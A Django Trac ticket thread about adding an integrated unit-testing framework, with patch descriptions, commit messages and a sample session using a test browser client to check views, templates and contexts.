simplify it? Done Line 335: if (materializedSlots.isEmpty()) return true; > I think this might break the behavior of OPTIMIZE_PARTITION_KEY_SCANS=true Reverted to the old behavior File fe/src/main/java/org/apache/impala/planner/HdfsScanNode.java: Line 131: // Set to true when this scan node can optimize a count(*) query by populating the > Sentence is a little misleading because this flag is initialized to true if Done Line 136: protected ExprSubstitutionMap aggSmap_; > // Should be applied to the AggregateInfo from the same query block. Done Line 243: if (optimizeParquetCountStar_ && fileFormats.size() == 1 && conjuncts_.isEmpty() && > Create a helper function for this optimization, and describe in its functio Done Line 245: // Create two functions that we will put into an smap. We want to replace the > Preconditions.checkState(desc_.getPath().destTable() == null); Done. The first condition should be != null Line 246: // count function with a sum function. > count() and sum() Done File fe/src/main/java/org/apache/impala/planner/PlanNode.java: Line 213: * @param limit > can just remove this Done File fe/src/main/java/org/apache/impala/planner/SingleNodePlanner.java: Line 559: private boolean checkOptimizeCountStar(SelectStmt selectStmt) { > Let's move this logic into AggregateInfo. Done File fe/src/main/java/org/apache/impala/rewrite/CountConstantRule.java: Line 28: * Replaces count(CONSTANT) with an aquivalent count{*}. > Replaces count(<literal>) with an equivalent count(*). Done Line 32: * count(2017) --> count(*) > add count(null) -> count(null) Done Line 34: public class CountConstantRule implements ExprRewriteRule { > How about NormalizeCountStarRule Done Line 45: Expr e = origExpr.getChild(0); > e -> child Done File testdata/workloads/functional-planner/queries/PlannerTest/parquet-stats-agg.test: Line 1: # IMPALA-5036 > The JIRA is not very useful. Instead, describe what this test is covering. Got rid of the JIRA everywhere. Added a rewrite test. Line 3: UNION ALL > I prefer consistent lower case or upper case, e.g., union all, or make the Done Line 22: | | output: sum_zero_if_empty(functional_parquet.alltypes.parquet-stats: num_rows) > agg expr seems long, I'm thinking we can omit the "functional_parquet.allty Not quite sure how to do that. We set the SlotDescriptor label and then it just gets printed here. Are you thinking of adding some kind of a special case? Line 28: | | output: sum_zero_if_empty(functional_parquet.alltypes.parquet-stats: num_rows) > What do you think of "sum_init_zero()"? It's a little shorter and seems a l Done Line 34: | output: sum_zero_if_empty(functional_parquet.alltypes.parquet-stats: num_rows) > sum_zero_if_empty sounds pretty obscure, what is that supposed to mean? Renamed to sum_init_zero() Line 112: # IMPALA-5036: group by partitioned columns. > partition columns Done Line 141: # IMPALA-5036: The optimization is disabled because tinyint_col is not a partitioned col. > partition col Done Line 143: ---- PLAN > add a negative case with a different agg function, something like: Done Line 377: # IMPALA-5036 > Also add a test like this: Done File testdata/workloads/functional-planner/queries/PlannerTest/resource-requirements.test: Line 314: WARNING: The following tables are missing relevant table and/or column statistics. > These seemed to have stats before? Something weird in your setup? I don't think this has anything to do with my setup. It started to think that the tables are missing statistics after this patch for some reason. I didn't get to the bottom of it yet. File testdata/workloads/functional-query/queries/QueryTest/parquet-stats.test: Line 282: ---- QUERY > Similar to my comment on the commit message, this file tests correct handli Done Line 285: from functional_parquet.alltypes > I think we need at least one focused test on a file with many row groups an Added a test on tpch_parquet.lineitem. Line 292: # IMPALA-5036 > Same here, JIRA number not very useful, prefer textual description of test Done -- To view, visit To unsubscribe, visit Gerrit-MessageType: comment Gerrit-Change-Id: I536b85c014821296aed68a0c68faadae96005e62 Gerrit-PatchSet: 1: Lars Volker <lv@cloudera.com> Gerrit-Reviewer:
http://mail-archives.apache.org/mod_mbox/impala-reviews/201706.mbox/%3C201706072118.v57LIGFe025190@ip-10-146-233-104.ec2.internal%3E
CC-MAIN-2017-39
refinedweb
1,062
51.55
Data Structures for Drivers no-involuntary-power-cycles(9P) usb_completion_reason(9S) usb_other_speed_cfg_descr(9S) usb_request_attributes(9S) - STREAMS data structure sent to multiplexor drivers to indicate a link #include <sys/stream.h> Architecture independent level 1 (DDI/DKI) The linkblk structure is used to connect a lower Stream to an upper STREAMS multiplexor driver. This structure is used in conjunction with the I_LINK, I_UNLINK, P_LINK, and P_UNLINK ioctl commands. See streamio(7I). The M_DATA portion of the M_IOCTL message contains the linkblk structure. Note that the linkblk structure is allocated and initialized by the Stream head as a result of one of the above ioctl commands. queue_t *l_qtop; /* lowest level write queue of upper stream */ /* (set to NULL for persistent links) */ queue_t *l_qbot; /* highest level write queue of lower stream */ int l_index; /* index for lower stream. */ STREAMS Programming Guide
https://docs.oracle.com/cd/E23824_01/html/821-1478/linkblk-9s.html
CC-MAIN-2019-22
refinedweb
137
53.21
Hallo. I’ve got a bit of code that creates a dot-image from a monochrome picture. I have the image file saved in .raw format (hex, 1 byte per pixel), and thusly, the file is simply hex FF’s and 00’s. I’ve tried importing it anyway, and got about 10 null chars in return (file contains hundreds). The way I’ve done it previously was to load the file into a hex editor, and convert the FF’s (white) to 30’s (ASCII 0) and the 00’s (black) to 31’s (ASCII 1). Then I load the text file in and get a huge string of 1’s and 0’s, which I can then dice and slice to make my arrays. This is not awfully bad, but it is time consuming, and prone to keyboard error. So is there anyway to cut out that nonsense with the text editor, and bring the hex data straight into flash, for further processing? Here’s an example, to show how many 1’s and 0’s we’re talking about - dotlogo Thanks
https://forum.kirupa.com/t/loading-non-ascii-data-possible/59651
CC-MAIN-2020-40
refinedweb
184
77.87
danielk <danielkleinad at gmail.com> writes: > Ian's solution gives me what I need (thanks Ian!). But I notice a > difference between '__str__' and '__repr__'. > > class Pytest(str): > def __init__(self, data = None): > if data == None: self.data = data > > def __repr__(self): > return (self.data).encode('cp437') > The correct way of comparing with None (and in general with “singletons”) is with the “is” operator, not with “==”. > If I change '__repr__' to '__str__' then I get: > >>>> import pytest >>>> p = pytest.Pytest("abc" + chr(178) + "def") >>>> print(p) > Traceback (most recent call last): > File "<stdin>", line 1, in <module> > TypeError: __str__ returned non-string (type bytes) In Python 3.3 there is one kind of string, the one that under Python 2.x was called “unicode”. When you encode such a string with a specific encoding you obtain a plain “bytes array”. No surprise that the __str__() method complains, it's called like that for a reason :) > I'm trying to get my head around all this codecs/unicode stuff. I > haven't had to deal with it until now but I'm determined to not let it > get the best of me :-) Two good readings on the subject: - - ciao, lele. -- nickname: Lele Gaifax | Quando vivrò di quello che ho pensato ieri real: Emanuele Gaifas | comincerò ad aver paura di chi mi copia. lele at metapensiero.it | -- Fortunato Depero, 1929.
https://mail.python.org/pipermail/python-list/2012-November/634905.html
CC-MAIN-2016-40
refinedweb
228
83.76
Holy cow, I wrote a book! I observed a spill suspiciously close to a three-year-old's play table. I asked, "How did the floor get wet?" She replied, "Water." It's not lying, but it's definitely not telling the whole story. She'll probably grow up to become a lawyer. While developing tests, a developer observed erratic behavior with respect to CoCreateInstance: CoCreateInstance In my test, I call CoCreateInstance. In my test, I call CoCreateInstance and it fails with CO_E_NOTINITIALIZED. Fair enough, because my test forgot to call CoInitialize. CO_E_NOTINITIALIZED. I was able to debug this psychically, but only because I knew about the implicit MTA. The implicit MTA is not something I can find very much documentation on, except in the documentation for the APPTYPEQUALIFIER enumeration, where it mentions: APPTYPEQUALIFIER ." CoInitialize[Ex] COINIT_MULTITHREADED Further investigation revealed that yes, some other thread in the process called CoInitializeEx(0, COINIT_MULTITHREADED), which means that the thread which forgot to call CoInitialize was implicitly (and probably unwittingly) placed in the MTA. CoInitializeEx(0, COINIT_MULTITHREADED). CoUninitialize." GetOpenFileName The GetFileTime function will tell you when a file was last modified, but it won't tell you who did it. Neither will FindFirstFile, GetFileAttributes, or ReadDirectoryChangesW, or FileSystemWatcher. GetFileTime FindFirstFile GetFileAttributes ReadDirectoryChangesW FileSystemWatcher None of these the file system functions will tell you which user modified a file because the file system doesn't keep track of which user modified a file. But there is somebody who does keep track: The security event log. To generate an event into the security event log when a file is modified, you first need to enable auditing on the system. In the Local Security Policy administrative tool, go to Local Policies, and then double-click Audit Policy. (These steps haven't changed since Windows 2000; the only thing is that the Administrative Tools folder moves around a bit.) Under Audit Object Access, say that you want an audit raised when access is successfully granted by checking Success (An audited security access attempt that succeeds). Once auditing is enabled, you can then mark the files that you want to track modifications to. On the Security tab of each file you are interested in, go to the Auditing page, and select Add to add the user you want to audit. If you want to audit all accesses, then you can choose Everyone; if you are only interested in auditing a specific user or users in specific groups, you can enter the user or group. After specifying whose access you want to monitor, you can select what actions should generate security events. In this case, you want to check the Successful box next to Create files / write data. This means "Generate a security event when the user requests and obtains permission to create a file (if this object is a directory) or write data (if this object is a file)." If you want to monitor an entire directory, you can set the audit on the directory itself and specify that the audit should apply to objects within the directory as well. After you've set up your audits, you can view the results in Event Viewer. This technique of using auditing to track who is generating modifications also works for registry keys: Under the Edit menu, select Permissions. Exercise: You're trying to debug a problem where a file gets deleted mysteriously, and you're not sure which program is doing it. How can you use this technique to log an event when that specific file gets deleted? A customer asked the following question: We've found that on Windows XP, when we call the XYZ function with the Awesome flag, the function fails for no apparent reason. However, it works correctly on Windows 7. Do you have any ideas about this?)? Why do you want to know the reason for the change in behavior? How will the answer affect what you do next? Consider the following three answers:. I dreamed that a friend of mind said, "Between your tenant and your lover, you should get along with at least one of them." Opportunistic locks allow you to be notified when somebody else tries to access a file you have open. This is usually done if you want to use a file provided nobody else wants it. For example, you might be a search indexer that wants to extract information from a file, but if somebody opens the file for writing, you don't want them to get Sharing Violation. Instead, you want to stop indexing the file and let the other person get their write access. Or you might be a file viewer application like ildasm, and you want to let the user update the file (in ildasm's case, rebuild the assembly) even though you're viewing it. (Otherwise, they will get an error from the compiler saying "Cannot open file for output.") Or you might be Explorer, and you want to abandon generating the preview for a file if somebody tries to delete it. (Rats I fell into the trap of trying to motivate a Little Program.) Okay, enough motivation. Here's the program: #include <windows.h> #include <winioctl.h> #include <stdio.h> OVERLAPPED g_o; REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer = { REQUEST_OPLOCK_CURRENT_VERSION, sizeof(g_inputBuffer), OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE, REQUEST_OPLOCK_INPUT_FLAG_REQUEST, }; REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer = { REQUEST_OPLOCK_CURRENT_VERSION, sizeof(g_outputBuffer), }; int __cdecl wmain(int argc, wchar_t **argv) { g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr); HANDLE hFile = CreateFileW(argv[1], GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, nullptr); if (hFile == INVALID_HANDLE_VALUE) { return 0; } DeviceIoControl(hFile, FSCTL_REQUEST_OPLOCK, &g_inputBuffer, sizeof(g_inputBuffer), &g_outputBuffer, sizeof(g_outputBuffer), nullptr, &g_o); if (GetLastError() != ERROR_IO_PENDING) { // oplock failed return 0; } DWORD dwBytes; if (!GetOverlappedResult(hFile, &g_o, &dwBytes, TRUE)) { // oplock failed return 0; } printf("Cleaning up because somebody wants the file...\n"); Sleep(1000); // pretend this takes some time printf("Closing file handle\n"); CloseHandle(hFile); CloseHandle(g_o.hEvent); return 0; } Run this program with the name of an existing file on the command line, say scratch x.txt. The program will wait. scratch x.txt In another command window, run the command type x.txt. The program keeps waiting. type x.txt Next, run the command echo hello > x.txt. Now things get interesting. echo hello > x.txt When the command prompt opens x.txt for writing, the DeviceIoControl call completes. At this point we print the Cleaning up... message. x.txt DeviceIoControl To simulate the program taking a little while to clean up, we sleep for one second. Observe that the command prompt has not yet returned. Instead of immediately failing the request to open for writing with a sharing violation, the kernel puts the open request on hold to give our program time to clean up and close our handle. Finally, our simulated clean-up is complete, and we close the handle. At this point, the kernel allows the command processor to proceed and open the file for writing so it can write hello into it. That's the basics of opportunistic locks, but your program will almost certainly not be structured this way. You will probably not wait synchronously on the overlapped I/O but rather have the completion queued up to a completion function, an I/O completion port, or have a thread pool task listen on the event handle. When you do that, remember that you need to keep the OVERLAPPED structure as well as the REQUEST_OPLOCK_INPUT_BUFFER and REQUEST_OPLOCK_OUTUT_BUFFER structures valid until the I/O completes. OVERLAPPED REQUEST_OPLOCK_INPUT_BUFFER REQUEST_OPLOCK_OUTUT_BUFFER (You may find the CancelIo function handy to try to accelerate the clean-up of the file handle and any other actions that are dependent upon it.) CancelIo You can read more about opportunistic locks on MSDN. Note that there are limitations on explicitly-managed opportunistic locks; for example, they don't work across the network.." SetParent.).
http://blogs.msdn.com/b/oldnewthing/archive/2013/04.aspx?PageIndex=2
CC-MAIN-2014-35
refinedweb
1,291
55.03
Hi, I am running Kali Linux and I am having trouble install the third party module pywin32: root@computer:~# cd Desktop root@computer:~/Desktop# cd pywin32-216 root@computer:~/Desktop/pywin32-216# ls adodbapi MANIFEST.in pywin32postinstall.py setup3.py AutoDuck PKG-INFO pywin32.pth setup.py com pythonwin pywin32testall.py SWIG isapi PyWin32.chm README.txt win32 root@computer:~/Desktop/pywin32-216# python setup.py install Traceback (most recent call last): File "setup.py", line 85, in <module> import winreg ImportError: No module named winreg If someone can help it would be very much appreciated thank you 9 Responses it seems you have... No module named winreg. I'll give you a hint: > pywin32 > Kali Linux I no I have no winreg modules that's why I am trying to install pywin32 so I can import the module into my python script but for some reason i keep getting the above error when I try to install pywin32... Look to put it bluntly, it fails to install because it can't find the winreg module. 1 quick google for winreg showed me: "winreg - windows registry access" Now unless your Kali LINUX distro somehow has a windows registry, it seems highly unlikely that you will ever succeed in installing pywin32. tl;dr: You're trying to install Windows modules on a Linux distro. EDIT: Check out Wine. pyWIN32, WIN, WINDOWS Kali Linux, Linux thank you so In order for me to create a script that will run on windows I need to create the script in windows in order to do so?? Well you can create it on Linux if you'd like, however if it uses Windows specific modules, you won't be able to run it on Linux. I suggest doing it in Windows indeed. yes exactly so I install a third party module like pywin32 on linux so I can import pywin32 when I write my script I just can't run it on linux thats all right? so than I shouldn't have a problem installing it on linux to import it to the script right?? Share Your Thoughts
https://null-byte.wonderhowto.com/forum/third-party-python-modules-complications-0169407/
CC-MAIN-2020-45
refinedweb
353
62.78
Red Hat Bugzilla – Bug 186410 infinite recursion in btowc() function (libstdc++.so.5) Last modified: 2014-07-12 05:55:44 EDT Description of problem: Function btowc() in library libstdc++.so.5 contains an infinite recursion. See disassembly, address 0x001b00da: [Switching to Thread -1292805216 (LWP 6559)] 0x001b00cc in btowc (__c=32) at /usr/include/wchar.h:330 warning: Source file is more recent than executable. 330 { return (__builtin_constant_p (__c) && __c >= '\0' && __c <= '\x7f' Current language: auto; currently c++ (gdb) disas Dump of assembler code for function btowc: 0x001b00c0 <btowc+0>: push %ebp 0x001b00c1 <btowc+1>: mov %esp,%ebp 0x001b00c3 <btowc+3>: sub $0x18,%esp 0x001b00c6 <btowc+6>: mov %ebx,0xfffffffc(%ebp) 0x001b00c9 <btowc+9>: mov 0x8(%ebp),%eax 0x001b00cc <btowc+12>: call 0x1600f2 <__i686.get_pc_thunk.bx> 0x001b00d1 <btowc+17>: add $0x242f3,%ebx 0x001b00d7 <btowc+23>: mov %eax,(%esp) 0x001b00da <btowc+26>: call 0x1b00c0 <btowc> 0x001b00df <btowc+31>: mov 0xfffffffc(%ebp),%ebx 0x001b00e2 <btowc+34>: mov %ebp,%esp 0x001b00e4 <btowc+36>: pop %ebp 0x001b00e5 <btowc+37>: ret 0x001b00e6 <btowc+38>: inc %edx 0x001b00e7 <btowc+39>: je 0x1b00f1 <btowc+49> 0x001b00e9 <btowc+41>: mov %eax,(%esp) 0x001b00ec <btowc+44>: call 0x15fbb0 0x001b00f1 <btowc+49>: mov %eax,(%esp) 0x001b00f4 <btowc+52>: call 0x15e080 End of assembler dump. (gdb) Symbol btowc is from libstdc++.so.5 library (from compat-libstdc++-33 RPM package): (gdb) info sharedlibrary From To Syms Read Shared Object Library 0x002db820 0x002f01df Yes /lib/ld-linux.so.2 0x00473510 0x0047bdb4 Yes /lib/libpthread.so.0 0x0045b770 0x00466a44 Yes /usr/lib/libz.so.1 0x00445b10 0x00446bc4 Yes /lib/libuuid.so.1 0x04b4a7c0 0x04b4de44 Yes /lib/libcrypt.so.1 0x00113410 0x0011e2f4 Yes /lib/libresolv.so.2 0x0042dc40 0x0042eb14 Yes /lib/libdl.so.2 0x0015ff50 0x001bb620 Yes /usr/lib/libstdc++.so.5 0x001ea360 0x00204dc4 Yes /lib/libm.so.6 0x0098a7d0 0x00991fc4 Yes /lib/libgcc_s.so.1 0x0030d5f0 0x003fa9a8 Yes /lib/libc.so.6 No zend/ZendExtensionManager_TS.so No zend/Optimizer_TS/php-4.3.x/ZendOptimizer.so 0x00742b20 0x00748fd4 Yes /lib/libnss_files.so.2 0x00285cb0 0x00289a74 Yes /lib/librt.so.1 (gdb) Version-Release number of selected component (if applicable): Fedora Core release 4.92 (Pre-FC5) Legacy Software Support packages: compat-gcc-32-3.2.3-55.fc5.src.rpm compat-gcc-32-debuginfo-3.2.3-55.fc5.i386.rpm compat-libstdc++-33 How reproducible: Compile example in RH9 or FC1. Output binary file depends on libstdc++.so.5 library. Run application on FC5 test3 or FC5. If you compile example in FC5, output binary file will depend on libstdc++.so.6 and will use btowc symbol from libc.so.6. Actual results: Application will crash on stack overflow due to infinite recursion in function btowc(). Expected results: Application will not crash. Compat-lbstdc++-33 package will be truly compatible. Example: void test_local_date() { time_t timestamp; struct tm *ta; time(×tamp); ta = localtime(×tamp); std::locale *loc = new std::locale("cs"); std::wstring format = "%x"; std::wostringstream wstr; std::use_facet<std::time_put<wchar_t> >(*loc).put(wstr, wstr, wstr.fill(), ta, format.data(), format.data() + format.length()); delete loc; } This was actually a bug in glibc headers, should be fixed in rawhide glibc-2.4-5. This will be fixed in FC5 when: a) that fix is backported to FC5 glibc b) compat-gcc-32 is rebuilt Any sign of this been fixed. FC5 is now updated to glibc-2.4-8 and still not working. We have a test environment installed with several machines running FC5 and now we are planning to deploy Kerio Mailserver for the test. It is a proved fact that Kerio software is affected by this particular bug in libstdc++.so.5 and we will appreciate if it could be possible to rectify it asap by releasing an updated compat-libstdc++-33 package. As far as we understand from above the cause of the problem and the way out were already determined. Thanks in advance! Over 3 months since this BUG was submitted here and it still hasn't been fixed. I am having the same issue. We are running FC5 Also and are trying to deply Kerio Mail Server and this big is the only thing preventing that. It has now been over 6 months since the bug was identified with no fix. Does anyone have any updats as to when this will be addressed? Thanks Anyone actively using these please give them a shot and report here (even success reports would be useful), thanks. If nothing wrong is reported, it will be pushed as official FC5 update this week. Jakub, I have installed the test update today and it looks to be working fine, at least in respect to the issue related with Kerio products. No more crashes. Are there any other issues identified with this update since as I can see it is still in the "test" mode and not released officially? Test update is working fine. No problems were detected. Applications compiled in RH9 and FC1 can run with testing compat-libstdc++ package in FC5 without problem. Forgot to close this, the updates are out for more than 2 months already.
https://bugzilla.redhat.com/show_bug.cgi?id=186410
CC-MAIN-2017-13
refinedweb
845
59.8
Jeff Garzik wrote: > > People from time to time point out a wart in ethernet initialization: > They sure do. You were away at the time, but I had a 94 file, 140k patch late last year which fixed all this. It's at and the design doc is at >From a quick look, I think the only substantive difference here is that my `prepare_etherdev()' function allocates and reserves the device's name (eth0), but prevents it from being available in netdevice namespace lookups. This was done because lots of drivers wanted to do: init_etherdev(); (Replaced with prepare_etherdev()) printk("%s: something", dev->name); The changes to dev.c and net_init.c were fairly subtle and took some thinking about - we should revisit them if you want to go ahead with this. The patch all worked OK, was back-compatible with unaltered drivers, and indeed altered all the drivers. But it kind of got lost. Too big, too late and dev_probe_lock() was there. Now, Arjan says that this race is causing oopses. This surprises me, because current kernels have the the dev_probe_lock() hack which I put in. This fixes the problem for PCI and Cardbus drivers. The ISA drivers generally use the dev->init() technique which is not racy. There isn't a lot left over. Arjan? Which driver? The other reason I'm surprised that it's causing oopses: most r because the open() routine hasn't been called, but it should hang in there. A subsequent close() of the interface *will* call dev->close, and I guess the driver is likely to get upset if its close() routine is called without a corresponding open(). Yes, we can fix this if we want, and kill off dev_probe_lock(). It'll only take a few days. Do we want? If not, we can extend the dev_probe_lock() thing to cover probes for other busses. USB, I guess. -
http://oss.sgi.com/projects/netdev/archive/2001-03/msg00275.html
CC-MAIN-2015-27
refinedweb
312
82.44
Salt should remain backwards compatible, though sometimes, this backwards compatibility needs to be broken because a specific feature and/or solution is no longer necessary or required. At first one might think, let me change this code, it seems that it's not used anywhere else so it should be safe to remove. Then, once there's a new release, users complain about functionality which was removed and they where using it, etc. This should, at all costs, be avoided, and, in these cases, that specific code should be deprecated. In order to give users enough time to migrate from the old code behavior to the new behavior, the deprecation time frame should be carefully determined based on the significance and complexity of the changes required by the user. Salt feature releases are based on the Periodic Table. Any new features going into the develop branch will be named after the next element in the Periodic Table. For example, Beryllium was the feature release name of the develop branch before the 2015.8 branch was tagged. At that point in time, any new features going into the develop branch after 2015.8 was branched were part of the Boron feature release. A deprecation warning should be in place for at least two major releases before the deprecated code and its accompanying deprecation warning are removed. More time should be given for more complex changes. For example, if the current release under development is Sodium, the deprecated code and associated warnings should remain in place and warn for at least Aluminum. To help in this deprecation task, salt provides salt.utils.warn_until. The idea behind this helper function is to show the deprecation warning to the user until salt reaches the provided version. Once that provided version is equaled salt.utils.warn_until will raise a RuntimeError making salt stop its execution. This stoppage is unpleasant and will remind the developer that the deprecation limit has been reached and that the code can then be safely removed. Consider the following example: def some_function(bar=False, foo=None): if foo is not None: salt.utils.warn_until( 'Aluminum', 'The \'foo\' argument has been deprecated and its ' 'functionality removed, as such, its usage is no longer ' 'required.' ) Development begins on the Aluminum release when the Magnesium branch is forked from the develop branch. Once this occurs, all uses of the warn_until function targeting Aluminum, along with the code they are warning about should be removed from the code.
https://docs.saltstack.com/en/latest/topics/development/deprecations.html
CC-MAIN-2017-22
refinedweb
413
53.92
CodeGuru Forums > Visual Basic Programming > Visual Basic 6.0 Programming > Accessing VB COM object from Vicual C++ PDA Click to See Complete Forum and Search --> : Accessing VB COM object from Vicual C++ KCP April 12th, 2001, 06:52 AM Hi, I wonder if anyone can help. I have created a COM object in the form of a dll using VB6. I would like to know how I can access this COM object in C++. I would usually use CoCreateInstance but that requires my C++ code to have knowledge of the interfaces supported by my VB COM object. I usually use the .H file containing the interfaces and IIDs (so I can declare a pointer to my interface, eg, KCPInterface* myInterfacePtr - then pass this to CoCreateInstance. I hope the above makes sense, thanks in advance for any help, I'm stuck on this one!!! James Longstreet April 12th, 2001, 08:22 AM you can do one of two things. a) use the class wizard and select Add New class. Then select from type library, and choose you dll. This is the harder way. b) use smart pointers generated by using the #import directive. #import "c:\my dlls\somedll.dll" no_namespace this will generate the smartpointer and function definitions so that you can use them in your program. Take a look on MSDN for smart pointers or post something specific you want to do and I will try to help. Jim Hewitt Software Developer Liberty Tax Service codeguru.com
http://forums.codeguru.com/archive/index.php/t-18875.html
crawl-003
refinedweb
247
74.08
Let’s compare the evaluation steps of the application of two recursive methods. First, consider gcd, a method that computes the greatest common divisor of two numbers. Here's an implementation of gcd using Euclid's algorithm. def gcd(a: Int, b: Int): Int = if (b == 0) a else gcd(b, a % b) gcd(14, 21) is evaluated as follows: gcd(14, 21) if (21 == 0) 14 else gcd(21, 14 % 21) if (false) 14 else gcd(21, 14 % 21) gcd(21, 14 % 21) gcd(21, 14) if (14 == 0) 21 else gcd(14, 21 % 14) if (false) 21 else gcd(14, 21 % 14) gcd(14, 7) gcd(7, 14 % 7) gcd(7, 0) if (0 == 0) 7 else gcd(0, 7 % 0) if (true) 7 else gcd(0, 7 % 0) 7 Now, consider factorial: def factorial(n: Int): Int = if (n == 0) 1 else n * factorial(n - 1) factorial(4) is evaluated as follows: factorial(4) if (4 == 0) 1 else 4 * factorial(4 - 1) 4 * factorial(3) 4 * (3 * factorial(2)) 4 * (3 * (2 * factorial(1))) 4 * (3 * (2 * (1 * factorial(0))) 4 * (3 * (2 * (1 * 1))) 24 What are the differences between the two sequences? One important difference is that in the case of gcd, we see that the reduction sequence essentially oscillates. It goes from one call to gcd to the next one, and eventually it terminates. In between we have expressions that are different from a simple call like if then else's but we always come back to this shape of the call of gcd. If we look at factorial, on the other hand we see that in each couple of steps we add one more element to our expressions. Our expressions becomes bigger and bigger until we end when we finally reduce it to the final value. That difference in the rewriting rules actually translates directly to a difference in the actual execution on a computer. In fact, it turns out that if you have a recursive function that calls itself as its last action, then you can reuse the stack frame of that function. This is called tail recursion. And by applying that trick, a tail recursive function can execute in constant stack space, so it's really just another formulation of an iterative process. We could say a tail recursive function is the functional form of a loop, and it executes just as efficiently as a loop. If we look back at gcd, we see that in the else part, gcd calls itself as its last action. And that translates to a rewriting sequence that was essentially constant in size, and that will, in the actual execution on a computer, translate into a tail recursive call that can execute in constant space. On the other hand, if you look at factorial again, then you'll see that after the call to factorial(n - 1), there is still work to be done, namely, we had to multiply the result of that call with the number n. So, that recursive call is not a tail recursive call, and it becomes evident in the reduction sequence, where you see that actually there’s a buildup of intermediate results that we all have to keep until we can compute the final value. So, factorial would not be a tail recursive function. Both factorial and gcd only call itself but in general, of course, a function could call other functions. So the generalization of tail recursion is that, if the last action of a function consists of calling another function, maybe the same, maybe some other function, the stack frame could be reused for both functions. Such calls are called tail calls. In Scala, only directly recursive calls to the current function are optimized. One can require that a function is tail-recursive using a @tailrec annotation: @tailrec def gcd(a: Int, b: Int): Int = … If the annotation is given, and the implementation of gcd were not tail recursive, an error would be issued. Complete the following definition of a tail-recursive version of factorial: def factorial(n: Int): Int = { @tailrec def iter(x: Int, result: Int): Int = if (x == res0) result else iter(x - res1, result * x) iter(n, res2) } factorial(3) shouldBe 6 factorial(4) shouldBe 24
https://www.scala-exercises.org/scala_tutorial/tail_recursion
CC-MAIN-2017-39
refinedweb
713
52.63
Opened 3 years ago Last modified 2 years ago Although Django itself has unit tests, there is no integrated framework that end-users can use to test their Django applications. This has been raised a few times on the mailing list, most recently in the Site Testing how-to thread on the users mailing list. As an added incentive, this is a feature that is present in Rails. I'm working on a plugin for my test runner, nose () to ease testing of django apps. It works along the lines of the django tests, setting up a test database (or schema) based on the selected settings file and installing the INSTALLED_APPS there, and tearing all of that down at the end of the test run. It's currently in early alpha -- if you want to check it out, please don't use it with a settings file that points to production data. While I don't believe there are any data-destroying bugs... well, you get the idea. You can get nose via easy_install: easy_install nose And the plugin from svn: svn co nose-django Then cd nose-django and install as normal from there using setup.py. Then try nosetests -h and look for the options with 'django' in the name. My "test views by context" stuff, described on the list Changes to the django.conf package Changes to the django.contrib package Changes to the django.core package Changes to the modeltests Changes to the regressiontests Ok; here's a walkthrough of v1 of the Django testing framework. Note that this is not the end of development; it is just an attempt to set up a generic test framework that is the equal of the existing test/runtests.py. The next step is to implement facilities for fixtures, testing templates, contexts, views, etc. The new django.test module (more clean up) As part of all this, I think #1514 falls into your area of influence (found it during a wander through older bugs). It raises an issue about how to detect/handle exceptions raised internally. A browser for testing purposes Here's the next piece of the testing puzzle - a method for testing contexts and templates produced by views. It acts a little bit like an automatable web browser. The interface allows users to make GET and POST requests; what is returned is a 'test decorated Response' - a normal HttpResponse object, but with extra attributes (specifically, 'context' and 'template') that describe the contexts and templates that were rendered in the process of serving the request. If a single template was rendered, response.template and response.context will point to the template and context dictionary respectively. If multiple templates were rendered, response.template and response.context will be lists, set such that response.context[n] was used on response.template[n]. If no templates were rendered, response.template and response.context will be None. Cookies are also handled in a limited fashion, and are preserved for the lifespan of the Browser instance. A simple helper interface exists to assist with submitting to login pages so that you can test @login_required views. This is all acheived by directly hooking into the WSGI interface, so no server instance is required for the Browser to be used. Template and context details are obtained by listening to a new signal that is emitted whenever the render() method is invoked on a template. As noted in the patch - this is not intended to reproduce or replace tools such as Twill or Selenium. While these tools are good tests of client behaviour, they cannot check the contents of Context or Template rendering details (except at the level of 'is the rendered output correct'). As noted with the previous patches, the approach here is not to enforce a particular testing framework, but to provide the tools that allow anyone to test any aspect of their Django application. Here's a sample test session: from django.test.browser import Browser # Create a browser b = Browser() # Login to the server as 'fred' assert b.login('/login/',fred,password), "Couldn't log in!" # GET the page with Widget 3 response = b.get('/widgets/3/') # Check some response details assert response.status_code == 200 assert response.context['widget_name'] == 'foo' assert response.template.name == 'mytemplate.html' assert '<b>Widget details</b>' in response.content img = open('widget.jpg','r') post_data = { 'name': 'bar', 'size': 3 'image': img } response = b.post('/widgets/new', post_data) img.close() # Check that submit page redirected us somewhere assert response.status_code == 302 I should add that browser.patch is independent of the previous patches. This is a continuation of the framework-agnostic approach. Addendum to first group of patches; revised runtest.py Combined version of previous patches to django directory, with some minor revisions and cleanup Combined version of previous patches to tests directory, with some minor revisions and cleanup Added some revised patches, incorporating some comments that have been received. For ease of applying, they are combined; to allow them to be attached to TRAC, there are two parts. Both the revised-* patches should be applied using patch -p0 from the django trunk directory. (In [3658]) Refs #2333 - Added test framework. This includes doctest and unittest finders, Django-specific doctest and unittest wrappers, and a pseudo-client that can be used to stimulate and test views. (In [3659]) Refs #2333 - Added a signal that is emitted whenever a template is rendered, and added a 'name' field to Template to allow easy identification of templates. (In [3660]) Refs #2333 - Added 'test' target to django-admin script. Includes addition of --verbosity and --noinput options to django-admin, and a new TEST_RUNNER setting to control the tool used to execute tests. (In [3661]) Refs #2333 - Modified runtests script to use new testing framework. Migrated existing tests to use Django testing framework. All the 'othertests' have been migrated into 'regressiontests', and converted into doctests/unittests, as appropriate. (In [3666]) Reverted [3659], the 'name' field on Template objects and the signal emitted whenever a template is rendered. Refs #2333. (In [3689]) Refs #2333 - Added more documentation for testing framework, and clarified some code as a result of trying to describe it. [3707]) Refs #2333 - Re-added the template rendering signal for testing purposes; however, the signal is not available during normal operation. It is only added as part of an instrumentation step that occurs during test framework setup. Previous attempt (r3659) was reverted (r3666) due to performance concerns. (In [3708]) Refs #2333 - Added model test for the test Client. (In [3709]) Refs #2333 - Removed a call to the signal dispatcher that was mistakenly merged in. (In [3711]) Refs #2333 - Added documentation for the test Client, and removed a stray import. (In [3713]) Refs #2333 - Made minor tweaks to the formatting of testing documentation. (In [3715]) Refs #2333 - Made minor formatting modifications to test framework documentation. I've been using this framework, and I find it's generally more convenient to actually allow errors during page production to propagate up to the test harness, rather 